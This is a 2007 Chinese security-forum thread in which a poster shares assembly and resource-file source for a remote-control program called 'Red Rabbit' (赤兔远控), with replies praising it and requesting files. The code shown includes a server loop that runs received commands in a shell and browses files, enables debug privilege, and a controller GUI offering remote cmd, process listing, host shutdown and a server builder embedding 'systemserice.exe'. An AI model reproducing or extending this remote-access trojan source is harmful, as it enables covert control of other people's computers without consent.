      invoke lstrlen,addr lpBuffer
      .if eax==1
        invoke _CmdLineToShell,addr lpBuffer
      .elseif (eax>=3)||(eax<=44);文件查看
        invoke _FindFile,addr lpBuffer
        .endif
      .break  .if  @dwRecv==SOCKET_ERROR
    .endw
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .if  server!=INVALID_SOCKET
      invoke  closesocket,server
    .endif
    invoke  WSACleanup
    mov  eax,TRUE   
    ret
_Main  endp
start:
invoke MessageBox,NULL,CTXT("真的要执行远控服务端程序吗?"),CTXT("提示"),MB_YESNO or MB_ICONINFORMATION
.if eax!=IDNO
  invoke _EnablePrivilege,CTXT("SeDebugPrivilege"), TRUE
  invoke CreateMutex, NULL, TRUE,CTXT("GetSys1_Mutex")
  mov ebx,eax
  invoke GetLastError
  .if eax!=0B7h
@@:
    invoke  _Main
  Loop @B
  .elseif
  jmp close
  .endif
.endif

close:  
    invoke  ExitProcess,0
    end  start
[/code]


    

bink 2007-4-10 15:11

估计是有史以来最简陋的远控程序。 [s:264]

别这么说。哪个程序不是从最简单的慢慢修改好的。

bigwahaha 2007-4-10 20:02

把RedRabbit.rc也发一下好吗? [s:269]

hellohi 2007-4-11 07:30

由原来文件上传改成文件查找! 期待完善中........

asm 2007-4-11 09:35

[quote]引用第6楼hellohi于2007-04-11 07:30发表的 :
由原来文件上传改成文件查找! 期待完善中........[/quote]


[s:264]所以说"偷工减料"嘛

文件上传我打算采用tftp协议.这个目前在编写中.............

asm 2007-4-11 09:50

[quote]引用第3楼bigwahaha于2007-04-10 20:02发表的 :
把RedRabbit.rc也发一下好吗? [s:269][/quote]


[s:265]要rc文件做啥 

少主也闭关 2007-4-11 17:49

目的一次性使用HOHO
还是找个朋友把界面修改下吧..这样看的不简陋

bigwahaha 2007-4-11 22:46

[quote]引用第6楼asm于2007-04-11 09:50发表的 :



[s:265]要rc文件做啥 [/quote]
一起改进程序啊..有rc方便多啦[s:266]

asm 2007-4-11 23:37

改好了丢上来共享哈..

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include    <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define  ICO_MAIN    0x1000  //图标
#define  DLG_MAIN    1
#define  DLG_LOOK  2
#define IDB_1      3
#define DLG_SEND  4
#define  IDC_Process    1001
#define  IDC_MingLing    1002
#define  IDC_Close    1003
#define  IDC_Cmd    1004
#define  IDC_Serices    1005
#define  IDC_BMP    1006
#define  IDC_ServerList    1007
#define  IDC_Upfile    1008
#define  IDC_Out    1009
#define  IDC_ShuoMing    1010
#define  IDC_URL 1011
#define  IDC_23 1012
#define  IDC_24 1013
#define  IDC_25 1014
#define  IDC_26 1015
#define ASM   101
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN  ICON    "Main.ico"
IDB_1    BITMAP    "rabbit1.BMP"
ASM   RCDATA  DISCARDABLE "systemserice.exe"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 60, 60, 326, 212
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "赤兔远控程序 v1.0 By Asm"
FONT 9, "宋体"
STYLE 0x14CA0000
EXSTYLE 0x00000001
{
GROUPBOX    "控制区:", -1,13,4,300,66
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  PUSHBUTTON   "服务端配置(&S)",IDOK,26,18,58,20
  PUSHBUTTON   "进程查看(&P)",IDC_Process,88,18,58,20
  PUSHBUTTON   "文件查看(&U)",IDC_Upfile,151,18,58,20
  PUSHBUTTON   "关闭主机(&C)",IDC_Close,151,43,58,20
  PUSHBUTTON   "远程cmd(&Y)",IDC_Cmd,25,45,58,20
  PUSHBUTTON   "垃圾信息(&F)",IDC_Serices,89,44,58,20
  
CONTROL IDB_1, IDC_BMP, "Static", SS_BITMAP | WS_CHILD | WS_VISIBLE,216,12,111,54 //图片
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LISTBOX  IDC_ServerList,14,77,82,113,LBS_STANDARD //主机列表
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GROUPBOX    "命令回显", -1,99,73,212,115
LISTBOX     IDC_MingLing,103,85,204,99,LBS_STANDARD
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  PUSHBUTTON   "退出程序(&O)",IDC_Out,259,189,52,16
  PUSHBUTTON   "说明(&D)",IDC_ShuoMing,203,189,52,16
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_LOOK DIALOG 60, 60, 214,90
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "赤兔远控程序服务端配置"
FONT 9, "宋体"
{
GROUPBOX    "服务端配制", -1,14,5,187,72
LTEXT      "网页文件:", -1,20,22,36,12
CONTROL  ""  IDC_URL,EDIT, ES_AUTOHSCROLL | WS_BORDER | WS_TABSTOP,62,21,128,12
CONTROL "开始配置", IDC_23, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP,75,40,57,17
CONTROL "配置前请参看", IDC_24, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP,134,40,57,17
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_SEND DIALOG 60, 60, 272, 55
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "文件查看"
FONT 9, "宋体"
{
GROUPBOX    "Static", -1,14,4,245,38
LTEXT      "请输入目录路径:", -1,23,19,63,15
CONTROL  ""  IDC_25,EDIT, ES_AUTOHSCROLL | WS_BORDER | WS_TABSTOP,82,18,136,12
CONTROL "查看", IDC_26, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP,225,17,26,14
}

火狐技术 2007-4-12 11:02

估计是有史以来最简陋的远控程序。

别这么说。哪个程序不是从最简单的慢慢修改好的。

支持原创,楼主辛苦了

龙歌 2007-4-12 11:34

简陋的好啊,太复杂也不能起到指导性作用。这样正好可以让初学者看的明白,具有教学用处,大力支持!!!

追寻 2007-4-12 11:43

[quote]引用第9楼asm于2007-04-11 23:37发表的 :
改好了丢上来共享哈..

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include    <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.......[/quote]
C写的..[s:269]

麦田的怪 2007-4-12 14:48

[quote]引用第12楼追寻于2007-04-12 11:43发表的 :

C写的..[s:269][/quote]

汇编的资源文件本来就是C写的。

master0902 2007-4-12 21:08

XP SP2 无法绑顶1028断口 ALG这个程序用了~~~ [s:265]

网络幽灵 2007-4-12 22:04

鼓励鼓励 搂住
在这个论坛里 看你用ASM 编写了好多小工具
呵呵
现在可以慢慢组合起来了
不错不错
得象你学习啊
支持支持

追寻 2007-4-13 13:02

asm这个文件好象无法执行命令哈..你检查检查看是怎么回事.
在SP2下测试无法显示命令哈.和系统进程.......! [s:269]

asm 2007-4-13 13:57

[quote]引用第18楼追寻于2007-04-13 13:02发表的 :
asm这个文件好象无法执行命令哈..你检查检查看是怎么回事.
在SP2下测试无法显示命令哈.和系统进程.......! [s:269][/quote]


"无法执行命令"
抓图看看

"系统进程"
我也是sp2,下面是我用的:

[attach]902[/attach]

bigwahaha 2007-4-13 22:50

[quote]引用第9楼asm于2007-04-11 23:37发表的 :
改好了丢上来共享哈..[/quote]
研究了下你的源码,我准备自己重新写一个,到时我们比比谁的功能强.[s:266]
不过我刚开始学ASM,很多问题到时还要请教你了.[s:269]

黑菜 2007-6-12 22:30

我缺少macros.inc

xieshang 2007-6-13 13:05

[s:265] [s:265]
能写出东西来就不错拉
偶就啥都不会....
哎...

asm 2007-6-13 15:30

[quote]引用第18楼黑菜于2007-06-12 22:30发表的 :
我缺少macros.inc[/quote]

这个文件内容如下:



   FUNC MACRO parameters:VARARG
    invoke parameters
    EXITM <eax>
   ENDM
   literal MACRO quoted_text:VARARG
    LOCAL local_text
    .data
     local_text db quoted_text,0
    align 4
    .code
    EXITM <local_text>
   ENDM
   CTXT MACRO quoted_text:VARARG
    EXITM <offset literal(quoted_text)>
   ENDM
  str$ MACRO DDvalue
   LOCAL rvstring
   .data
    rvstring db 20 dup (0)
    align 4
   .code
   invoke dwtoa,DDvalue,ADDR rvstring
   EXITM <ADDR rvstring>
  ENDM

aspshell 2007-6-19 16:40

偶用灰鸽子``感觉他目前在国内远程控制方面做的比较出色的``````

页: [1]
© 1999-2008 EvilOctal Security Team